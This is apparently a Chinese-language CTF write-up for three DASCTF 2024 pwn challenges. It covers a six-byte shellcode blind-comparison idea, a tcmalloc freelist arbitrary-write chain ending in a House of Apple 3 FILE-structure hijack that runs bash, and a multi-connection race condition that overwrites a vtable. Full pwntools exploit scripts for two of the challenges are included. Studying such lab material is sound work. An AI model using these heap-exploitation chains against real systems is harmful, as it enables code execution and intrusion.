DASCTF 2024-Pub 个人部分题解
目录跳转: |
---|
PWN题目: sixbytes - 暂不附Exp |
PWN题目: ChromeLogger - 附Exp |
PWN题目: usersys - 附Exp |
pwn题目 sixbytes
进入 main 函数,调用函数读取 flag 而后赋值给 v4,v4 即为 flag 的字符串首地址,函数笔者不再赘述. 接下来进入 sub_5555555553B8 看 v3 的生成方式
sub_5555555553B8:
可以观察到,该函数使用 mmap 在 0x20240000 申请了权限为 0x7 (可读可写可执行) 的较长空间后,再读取了 6 个字节的用户输入数据到该空间内. 这里限制了用户只能输入六个字节的数据
最后在主函数以 v4 为参数调用该空间. 即将 PC 更改到用户输入数据的头部
一开始我的思路是 _perror 直接输出 flag,看了一下后发现开启了 seccomp 禁止了 syscall
由于没任何输入输出,只能靠盲注:
如下所示,当 [rdi + i] 的值大于 X 时则跳转,进入到死循环,否则 Segment Error. 这样就可以写个二分盲注,盲注出结果
payload
loop:
cmp byte ptr[rdi + i], X
jg loop
而正巧的是,该 payload 占长度为 5 字节,不超过 6 字节. 因此是可行的
exp 后面再放
pwn题目 chromelogger
tcmalloc是由谷歌研发的堆管理库,使用FreeList来加速堆块分配
任意地址写入漏洞
首先笔者 Newlog 开了 48 个字节的空间,并写入 48 - 11 个 ‘a’ (由于这里存在一个长度为 11 的时间字符串,因此每次最多可写入的字节数是 n - 11 个) 观察内存情况,发现堆空间附近正如 tcmalloc 中的链式结构
- 写入的字符串起始位置于 0x555555d76000,可以观察到随后的 0x30 个字节都被写入了数据
- 而后下一个 48 大小的堆空间将会开在 0x555555d76030,并取当前地址位置的地址 0x555555d76060 作为下一个堆的地址
- 下下个 48 大小的堆空间开在 0x555555d76060,并取 0x555555d76090 作为下下个堆的地址
- …
如此按链式分配堆空间,即是 tcmalloc 中 FreeList 运作原理
tele所呈现的链式结构如上所示
因此,只要修改下一个堆块的地址 至攻击者想要修改的地址,也就是使得该 FreeList 下一项为攻击者想要修改的地址,即可造成内存中任意地址写入漏洞
在普通情况下可以通过堆溢出方式修改下一个堆块的地址,但是在此处做了严格的限制,不好利用. 可以用缓冲区越界写入来利用
注意到在 Newlog 中,可以指定当前开的空间作为输出缓冲区,并且该缓冲区长度为 256,如下所示
举个例子:当我开辟了 48 字节的堆空间后,下一个堆块的地址正巧位于 该空间地址 + 0x30
我可以将该空间指定为输出的大小为 256 的缓冲区,每当我执行 Displaylog 后,都会将数据输出到 该缓冲区上从而覆盖到 该空间地址 + 0x30
当覆盖到我指定的地址时,再 alloc 两个 48 字节的空间,第二个 alloc 的空间就会被开到我指定的地址
整个流程及后续听起来利用有点难,不过还是有办法可以利用.
- 首先可以通过向 48 字节堆中填满 ‘a’ 并不包含 ‘\n’,然后 display_log 打印该堆,可以泄露下下一个堆地址
- 泄露地址后,可以输入 5 调用 submit_task 函数提交堆地址,泄露堆基址
- 泄露堆基址后,可以通过 任意地址写入漏洞 在 基址 + 0x50 alloc 一个堆,并将该堆打印,泄露 tcmalloc 基址
- 泄露 tcmalloc 基址 后,可以通过其 got 表调用的 pthread_key_create 函数,泄露 libc 基址
- 泄露 libc 基址后,现在满足三条件:
任意地址写入
,libc泄露
,有IO
直接打 House of Apple 3 - 伪造一个 File 结构,并将其通过 任意地址写入漏洞 写入到 _IO_list_all
- IO_File 劫持,getshell
详细代码及解释如 EXP 中所示
EXP
#by leeya_bug
from pwn import *
import time
SLEEP_TIME = 0.2
p = process('./debug/ChromeLogger')
lib_tcmalloc = ELF('./debug/chromelogger_lib/libtcmalloc.so.4')
lib_c = ELF('./debug/chromelogger_lib/libc.so.6')
#------------- 基本函数 -------------
def new_log(length: int, data: bytes) -> None:
p.sendline(b'1')
p.sendlineafter(b'SIZE', str(length).encode())
p.sendlineafter(b'FILE buffer', b'n')
p.sendafter(b'LOG', data)
p.recvuntil(b'Operation?')
def new_log2(length: int, data: bytes) -> None:
time.sleep(SLEEP_TIME)
p.sendline(b'1')
time.sleep(SLEEP_TIME)
p.sendline(str(length).encode())
time.sleep(SLEEP_TIME)
p.sendline(b'n')
time.sleep(SLEEP_TIME)
p.send(data)
def new_log_stdout(length: int) -> None:
p.sendline(b'1')
p.sendlineafter(b'SIZE', str(length).encode())
p.sendlineafter(b'FILE buffer', 'y')
def new_log_stdout2(length: int) -> None:
time.sleep(SLEEP_TIME)
p.sendline(b'1')
time.sleep(SLEEP_TIME)
p.sendline(str(length).encode())
time.sleep(SLEEP_TIME)
p.sendline(b'y')
def display_log() -> bytes:
p.sendline(b'2')
p.recvuntil(b'[')
return p.recvuntil(b'Operation?').rstrip(b'\nOperation?')
def display_log2() -> bytes:
time.sleep(SLEEP_TIME)
p.sendline(b'2')
def submit_task(addr: int) -> None:
p.sendline(b'5')
p.sendlineafter(b'HEAP', hex(addr).encode())
p.recvuntil(b'Correct! Here you are:')
return p.recvuntil(b'Operation?').rstrip(b'\nOperation?')
def logout2() -> None:
time.sleep(SLEEP_TIME)
p.sendline(b'3')
def backdoor2() -> None:
time.sleep(SLEEP_TIME)
p.sendline(b'4')
def backdoor_send_data2(data: bytes) -> None:
time.sleep(SLEEP_TIME)
p.sendline(data)
#------------- 基本函数 -------------
if True:
'''
通过堆漏洞获取堆地址
'''
p.recvuntil(b'Operation?')
new_log(48, b'a' * (48 - 11) )
heap_addr: int = u64(display_log()[-8:])
heap_base_addr: int = int(submit_task(heap_addr), 16)
print(f'堆地址: { hex(heap_addr) }')
print(f'堆基地址: { hex(heap_base_addr) }')
'''
通过堆漏洞获取 tcmalloc 地址
'''
new_log2(208, b'a' * (208 - 11))
new_log2(48, b'-' * 3 + p64(heap_base_addr + 0x50))
new_log_stdout2(48)
display_log2()
new_log2(48, b'useless chunk')
new_log2(48, b"a" * (8 + 5) + b"adrlibc:")
display_log2()
display_log2()
p.recvuntil(b'adrlibc:')
tcmalloc_addr = u64(p.recv(8))
tcmalloc_base_addr = tcmalloc_addr - 0x1c9090 - 0x11ea0
lib_tcmalloc.address = tcmalloc_base_addr
print(f'tcmalloc地址: { hex(tcmalloc_addr) }')
print(f'tcmalloc基地址: { hex(tcmalloc_base_addr) }')
'''
通过 tcmalloc got 中的 pthread_key_create 函数获取 libc 基址
'''
new_log2(251, b'a' * (251 - 12) + b'\n')
new_log2(64, b'-' * 5 + p64(lib_tcmalloc.got['pthread_key_create'] - 0x10))
new_log_stdout2(64)
display_log2()
new_log2(64, b'useless chunk')
new_log2(64, b'adfc:')
display_log2()
display_log2()
display_log2()
p.recvuntil(b'adfc:')
pkc_addr = u64(p.recv(8))
libc_base_addr = pkc_addr - lib_c.symbols['pthread_key_create']
lib_c.address = libc_base_addr
print(f'pthread_key_create函数地址: { hex(pkc_addr) }')
print(f'libc地址: { hex(libc_base_addr) }')
'''
House of Apple 3
预留一个伪造的 File 结构空间
向该空间中写入 File 结构
'''
new_log2(0x160, b'FileAddr:'.rjust((0x160 - 11),b'd'))
display_log2()
display_log2()
display_log2()
p.recvuntil(b'FileAddr:')
file_addr = u64(p.recv(8)) - 0x160 + 0x10
print(f'伪造的File结构地址: { hex(file_addr) }')
fileData = flat({
0: 0, # file._flag
0x10: 1, # file._IO_read_end
0x28: 1, # file._IO_write_ptr
0x30: p64(file_addr + 0x48), # _codecvt->__cd_in.step
0x48: b'bash', # step.__shlib_handle
0x70: p64(lib_c.symbols['execvp']), # step.__fct
0x88: p64(file_addr + 0x150), # file._lock
0x98: p64(file_addr + 0x30), # file._codecvt
0xa0: p64(file_addr + 0xe0), # file._wide_data
0xd8: p64(lib_c.symbols['_IO_wfile_jumps'] + 8), # file._vtable
0xe0: p64(file_addr + 0x48), # _wide_data._IO_read_ptr
0xe8: p64(file_addr + 0x48), # _wide_data._IO_read_end
0x110: p64(file_addr + 0x48), # _wide_data._IO_buf_base
}, filler=b'\0')
new_log2(0x160, b'_' * 5 + fileData)
'''
向 _IO_list_all 写入伪造的 File 地址
'''
new_log2(80, b'debug_addr:'.rjust((80 - 11),b'a'))
display_log2()
display_log2()
p.recvuntil(b'debug_addr:')
print(f'debug地址: { hex(u64(p.recv(8))) }')
print(f'libc _IO_list_all地址: { hex(lib_c.symbols['_IO_list_all']) }')
# FreeList 后期在初始化时,其链表前几个节点可能并非顺序排列,为了方便使用 padding
for i in range(0, 6):
new_log2(80, b'a' * (80 - 15) + b'\n' )
new_log2(80, b'a' * (80 - 56 + 4) + b'\n' )
new_log2(80, b'_' * 5 + p64(lib_c.symbols['_IO_list_all'] - 0x10) )
new_log_stdout2(80)
display_log2()
new_log2(80, b'useless chunk')
new_log2(80, b'_' * 5 + p64(file_addr))
'''
PRE_MANGGLE
输入的值为 10
'''
backdoor2()
logout2()
backdoor_send_data2(b'10')
p.clean()
p.interactive()
print('------------ debug ------------')
def debug():
gdb.attach(p)
p.interactive()
pwn题目 usersys
首先经过探查发现,这个题只有 guest 输入用户名称的地方能够输入任意字节的用户名称,并且添加.
因此大概率确定是由此导致的内存覆写然后造成的危害
首先查看 guest 处理函数 FUNC_GUEST(如下图所示,该函数实际上记录在虚表中),笔者先解释一下几个关键函数及参数的用途:
- 参数 a1 代表当前所有登记了的 guest 统计结构体,该结构体包括当前各个 guest 名称,总的 guest 数量(下文中笔者把 a1 中的总 guest 数量简称为 guest_count ),该结构体可以大致理解为如下数据结构
struct type_a1{ char guest_name[5][8]; // a1 + 0x18, guest 字符串数组,最大只能写 5 个,每个 guest 名称长度最大 8 long guest_count; // a1 + 0x40, guest 长度 };
- 红圈中的 UPDATE_FILE 函数从保存的 GUEST_DATA 中读取登记了的 guest 名称数据并更新 a1,可以简单理解为 UPDATE_FILE 更新了 a1
ADMIN 表和 GUEST 表都是写在结构体上的虚表,是看情况调用的. 此处距离 a1 不远,推测该题应该是写入虚表 getshell. 简单内存图请看如下所示,详细内存分布情况请查看更下面的 a1 部分内存分布情况
表
观察虚表发现 Root 用户函数地址,这是一个后门函数,如果能够覆盖 Admin 的虚表为 Root 的虚表,就可以进入到该后门
红色横线中 *(__int16 *)(a1 + 64) > 4
取出 a1 中 guest_count 并判断当前 guest_count 是否大于 4,如果大于 4,也就是当前记录的 guest 总数大于等于 5 时则不做记录(在此的寄存器取址 细节逻辑请查看 汇编代码,笔者不再赘述)
但是可以发现,这里在经过 *(__int16 *)(a1 + 64) > 4
的逻辑判断后又 UPDATE_FILE 更新了 a1 一次. 可以确定在此肯定有条件竞争导致的漏洞,当多个线程同时访问该文件并进入了 else 语句 (wanna leave your name?[y/n]
)但还未 UPDATE_FILE 时,由于多个线程条件竞争漏洞 在合适的条件下 guest_count 肯定是能够大于等于 5 的
在第二次 UPDATE_FILE 结束后,发现 read 函数读取用户输入
read(0, (void *)(8 * (*(__int16 *)(a1 + 64) + 2LL) + a1 + 8), 8uLL);
其作用是将用户输入数据读入到 (void *)(8 * (*(__int16 *)(a1 + 64) + 2LL) + a1 + 8)
,那么怎么理解该读入地址呢?根据上文分析可以知道 *(__int16 *)(a1 + 64)
代表 guest_count,那么这串代码简述过来就是 8 * (guest_count + 2LL) + a1 + 8
,化简后就是 a1 + 0x18 + guest_count * 8
,由于 guest_name 中一个字符串 8 字节,整个读入地址 可以简单理解为如下形式
guest_name[guest_count]
那么 read 就可以理解为
read(0, guest_name[guest_count], 8uLL);
在此我先将 a1 及其前后的部分内存分布情况简单列出:
可以发现,Admin 函数虚表地址 隔 guest_name[0]
的距离恰巧为 0x58 个字节也就是 11 个 8 字节,guest_name[11]
访问到的即是 Admin 的虚表地址,那么 guest_name[6]
访问到的即是 guest_count
此时,可以利用条件竞争漏洞,连接两个线程至 wanna leave your name?[y/n]
处,当 第一个线程 写到第五个 时,第二个线程由于已经到 wanna leave your name?[y/n]
处,还可以继续写第六个也就是 guest_name[6]
,那么第二个线程就可以随意更改 guest_count 的值.
而笔者需要修改 Admin 函数的虚表地址为 Root 的虚表地址,因此需要第三个线程的介入.
解题流程:
在前面已经知道 第二个线程是用来修改 guest_count 的值,那么可以将 guest_count 拓展到笔者想要修改的地址(在此为 Admin 函数虚表位置). 然后拓展第三个线程修改该位置的值(在此将 原虚表的值,修改为 Root 虚表的值)
首先连接第一个线程,当第一个线程 写到第四个 guest 时并已经进入 wanna leave your name?[y/n]
但未输入 y
时,旋即连接第二 第三个线程并都进入到 wanna leave your name?[y/n]
等待. 然后第一个线程再写入一个 guest 达到写满
第二个线程由于已经到 wanna leave your name?[y/n]
处,还可以继续写第六个,而第六个 8 字节地址正巧就是 guest_count 的值,那么第二个线程就可以写入 0xa,当该进程写入结束后 guest_count 就会变成 0xb.
然后第三个线程此时写入的就是 guest_name[11]
,即 Admin 虚表地址了. 只要此时写入 Root 地址的固定的最低一个字节 0x50 即可(其高地址将会 RELRO,因此只写入最后一个字节)
EXP
# by leeya_bug
IP = {你的 IP}
PORT = {你的端口}
from pwn import *
import time
c1 = remote(IP, PORT)
# 清空原有数据
time.sleep(0.3)
c1.sendline(b'admin')
c1.sendline(b'clear')
c1.sendline(b'logout')
# 填充四个 guest
for i in range(1, 5):
time.sleep(0.3)
c1.sendline(b'guest')
c1.sendline(b'y')
c1.sendline(b'name' + str(i).encode())
# 启动另外两个 Connection,并让三个 Connection 进入 wanna leave your name?[y/n] 等待区
if True:
time.sleep(0.3)
c1.sendline(b'guest')
c2 = remote(IP, PORT)
time.sleep(0.3)
c2.sendline(b'guest')
c3 = remote(IP, PORT)
time.sleep(0.3)
c3.sendline(b'guest')
# 第一个 Connection 填充第五个 guest
time.sleep(0.3)
c1.sendline(b'y')
c1.sendline(b'name5')
# 第二个 Connection 修改 guest_count 为 0xa,后面变成 0xb
time.sleep(0.3)
c2.sendline(b'y')
c2.sendline(p64(0xa))
# 第三个 Connection 修改 Admin 虚表的最后一个字节为 50,即 Root 虚表的地址
time.sleep(0.3)
c3.sendline(b'y')
c3.send('\x50')
# 触发 admin,反弹 shell
time.sleep(0.3)
c3.sendline(b'admin')
c3.interactive()
运行以上 exp,连接 Shell 后,输入 cat /flag
命令即可获取 flag